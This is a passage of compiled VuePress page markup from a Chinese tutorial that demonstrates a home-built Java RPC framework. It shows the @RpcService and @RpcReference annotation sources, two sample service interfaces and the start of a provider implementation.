"),t("h2",{attrs:{id:"演示效果"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#演示效果"}},[s._v("#")]),s._v(" 演示效果")]),s._v(" "),t("p",[s._v("说了那么多,咱们一起来看看这个RPC框架的使用效果吧,因为咱们这个RPC框架支持的调用方式有:原生RPC调用、整合Spring(XML/注解)、整合SpringBoot、整合SpringCloud、整合SpringCloud Alibaba,整合Docker和整合K8S七种使用方式。")]),s._v(" "),t("p",[s._v("这里,咱们就以 "),t("strong",[s._v("整合Spring注解的方式")]),s._v(" 来给大家演示下这个RPC框架。")]),s._v(" "),t("h3",{attrs:{id:"rpc核心注解说明"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#rpc核心注解说明"}},[s._v("#")]),s._v(" RPC核心注解说明")]),s._v(" "),t("p",[s._v("为了让大家更好的了解这个RPC框架,我先给大家看下RPC框架的两个核心注解,一个是RPC的服务提供者注解"),t("code",[s._v("@RpcService")]),s._v(",一个是RPC的服务调用者注解"),t("code",[s._v("@RpcReference")]),s._v("。")]),s._v(" "),t("p",[s._v("(1)服务提供者注解"),t("code",[s._v("@RpcService")]),s._v("的核心源码如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description bhrpc服务提供者注解\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("TYPE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 接口的Class\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("?")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("interfaceClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 接口的ClassName\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("interfaceClassName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 版本号\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 服务分组,默认为空\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("group")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 延迟发布,预留\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("delay")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 是否导出rpc服务,预留\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("export")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br")])]),t("p",[s._v("(2)服务调用者注解"),t("code",[s._v("@RpcReference")]),s._v("的核心源码如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description bhrpc服务消费者\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RpcReference")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 版本号\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 注册中心类型, 目前的类型包含:zookeeper、nacos、etcd、consul\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("registryType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"zookeeper"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 注册地址\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("registryAddress")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:2181"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 负载均衡类型,默认基于ZK的一致性Hash\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("loadBalanceType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"zkconsistenthash"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 序列化类型,目前的类型包含:protostuff、kryo、json、jdk、hessian2、fst\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("serializationType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"protostuff"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 超时时间,默认5s\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("long")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("timeout")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("5000")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 是否异步执行\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("async")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("false")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 是否单向调用\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("oneway")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("false")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 代理的类型,jdk:jdk代理, javassist: javassist代理, cglib: cglib代理\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("proxy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"jdk"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 服务分组,默认为空\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("group")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('""')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br"),t("span",{staticClass:"line-number"},[s._v("41")]),t("br"),t("span",{staticClass:"line-number"},[s._v("42")]),t("br"),t("span",{staticClass:"line-number"},[s._v("43")]),t("br"),t("span",{staticClass:"line-number"},[s._v("44")]),t("br"),t("span",{staticClass:"line-number"},[s._v("45")]),t("br"),t("span",{staticClass:"line-number"},[s._v("46")]),t("br"),t("span",{staticClass:"line-number"},[s._v("47")]),t("br"),t("span",{staticClass:"line-number"},[s._v("48")]),t("br"),t("span",{staticClass:"line-number"},[s._v("49")]),t("br"),t("span",{staticClass:"line-number"},[s._v("50")]),t("br"),t("span",{staticClass:"line-number"},[s._v("51")]),t("br"),t("span",{staticClass:"line-number"},[s._v("52")]),t("br"),t("span",{staticClass:"line-number"},[s._v("53")]),t("br"),t("span",{staticClass:"line-number"},[s._v("54")]),t("br"),t("span",{staticClass:"line-number"},[s._v("55")]),t("br"),t("span",{staticClass:"line-number"},[s._v("56")]),t("br"),t("span",{staticClass:"line-number"},[s._v("57")]),t("br"),t("span",{staticClass:"line-number"},[s._v("58")]),t("br"),t("span",{staticClass:"line-number"},[s._v("59")]),t("br"),t("span",{staticClass:"line-number"},[s._v("60")]),t("br")])]),t("p",[s._v("这里,我只列出了服务提供者注解"),t("code",[s._v("@RpcService")]),s._v("和服务调用者注解"),t("code",[s._v("@RpcReference")]),s._v("的部分源码,后续在RPC框架不断完善的过程中,大家就可以慢慢看到源码的全貌和其每个注解实现的功能。这里,我就不详细介绍了。")]),s._v(" "),t("p",[t("strong",[s._v("当然啦,在这个RPC框架实现的原生调用方式中,可以不用这些注解就能够实现远程调用。")])]),s._v(" "),t("h3",{attrs:{id:"效果演示"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#效果演示"}},[s._v("#")]),s._v(" 效果演示")]),s._v(" "),t("h4",{attrs:{id:"接口定义"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#接口定义"}},[s._v("#")]),s._v(" 接口定义")]),s._v(" "),t("p",[s._v("定义两个接口,分别为HelloService和HelloPersonService,源码如下所示。")]),s._v(" "),t("ul",[t("li",[s._v("HelloService接口源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),s._v(" person"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("ul",[t("li",[s._v("HelloPersonService接口源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloPersonService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("List")]),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Person")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getTestPerson")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("int")]),s._v(" num"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h4",{attrs:{id:"实现服务提供者demo"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#实现服务提供者demo"}},[s._v("#")]),s._v(" 实现服务提供者demo")]),s._v(" "),t("p",[s._v("(1)创建HelloService接口和HelloPersonService接口的实现类HelloServiceImpl和HelloPersonServiceImpl,如下所示。")]),s._v(" "),t("ul",[t("li",[s._v("HelloServiceImpl类源码")])]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RpcService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("interfaceClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" version "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"1.0.0"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloServiceImpl")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloService")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("hello")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Hello! "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n 